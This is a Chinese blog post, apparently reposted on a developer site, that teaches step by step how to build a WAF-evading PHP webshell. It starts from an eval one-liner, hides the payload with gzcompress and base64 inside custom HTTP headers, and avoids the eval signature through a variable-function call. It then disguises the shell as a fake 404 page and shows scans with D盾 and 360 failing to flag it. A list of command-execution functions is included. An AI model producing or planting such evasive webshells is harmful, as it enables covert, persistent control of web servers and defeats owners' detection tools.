内容简介:渗透测试小技巧之过waf木马
在研究webshell查杀的时候,学习别人怎么绕waf的思路,今天发现一个很6的函数(至少之前我是没见过),然后结合之前写访问日志记录文件时用到的方法,very perfect!
Once step
普通一句话木马:
<?php eval($_POST['caidao']);?>
Second step
首先大家看下这个东西:
不知道大家看到这个字符串会有啥想法,反正说实话,之前我肯定不会太在意。看下源码:
$compressed = gzcompress('<?php eval($_POST[\'caidao\']);?>', 9);
$uncompressed = gzuncompress($compressed);
echo $compressed;
?>
Third step
那么重点来了!
我要说的就是 gzcompress 这个函数。然后我又查了查相关资料,找到了 PHP 中具有相同功能的函数还有两个: gzdeflate , gzencode 。
科普下:
压缩函数:gzcompress gzdeflate gzencode 解压函数:gzuncompress gzinflate gzdecode gzdecode是PHP 5.4.0之后才加入的,使用的时候要注意兼容性问题。 这几个函数都以gz开头,让人想到gzip压缩,而光看函数名却又看不出它们之间的区别,只能查文档。 gzcompress gzdeflate gzencode函数的区别在于它们压缩的数据格式不同: gzcompress使用的是ZLIB格式; gzdeflate使用的是纯粹的DEFLATE格式; gzencode使用的是GZIP格式; 其实从PHP 5.4.0开始,这三个函数是一样的,只不过第三个参数的默认值不同;如果调用时传入第三个参数,那么这三个函数返回的数据相同。 有兴趣的自己在找找吧
Fourth step
写个生成密文的文件。
考虑到可能字符显示不全,无法识别等原因,再套一层base64。
if(isset($_POST['str'])){
$str = $_POST['str'];
$compressed = base64_encode(gzcompress($str, 9));
echo $compressed;
}
?>
Fifth step
结合访问日志记录用到的 getallheaders 函数,最终的webshell如下:
<?php eval(gzuncompress(base64_decode(getallheaders()['w2n1ck'])));>
用D盾查一下
虽然级别是小于3,但是说明里面显示可能eval后门,所以要去掉这个,在变形下:
<?php $w2n1ck1=gzuncompress(base64_decode(getallheaders()['cai']));$w2n1ck1(gzuncompress(base64_decode(getallheaders()['dao'])));>
看下webshell可用性
这里注意下,使用eval的话会报错,具体的原因请查看 错误详情
在安利下命令执行的一些函数:
'`',eval,assert,exec,passthru,shell_exec,system,putenv,preg_replace,pcntl_exec,popen,proc_open
Sixth step
再用D盾检测下
还是可疑啊,那行再伪造伪造下
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
$cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>
</body></html>
再检测下:
360 5引擎检测下
very perfect!
如果觉得自己添加头麻烦可疑使用自带的请求头字段:
getallheaders()['Accept-Language'] getallheaders()['User-Agent'] getallheaders()['Accept']
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 木马分析:分析针对意大利的Ursnif银行木马
- 驱动人生供应链木马攻击2019.1.30变种木马分析
- 年度挖矿木马研究浅谈:2019或是挖矿木马“转型”年
- 幽虫木马分析
- SpeakUp木马技术分析
- Qbot银行木马分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
图解密码技术(第3版)
[日] 结城浩 / 周自恒 / 人民邮电出版社 / 2016-6 / 89.00元
本书以图配文的形式,详细讲解了6种最重要的密码技术:对称密码、公钥密码、单向散列函数、消息认证码、数字签名和伪随机数生成器。 第1部分讲述了密码技术的历史沿革、对称密码、分组密码模式(包括ECB、CBC、CFB、OFB、CTR)、公钥、混合密码系统。第2部分重点介绍了认证方面的内容,涉及单向散列函数、消息认证码、数字签名、证书等。第3部分讲述了密钥、随机数、PGP、SSL/TLS 以及密码技......一起来看看 《图解密码技术(第3版)》 这本书的介绍吧!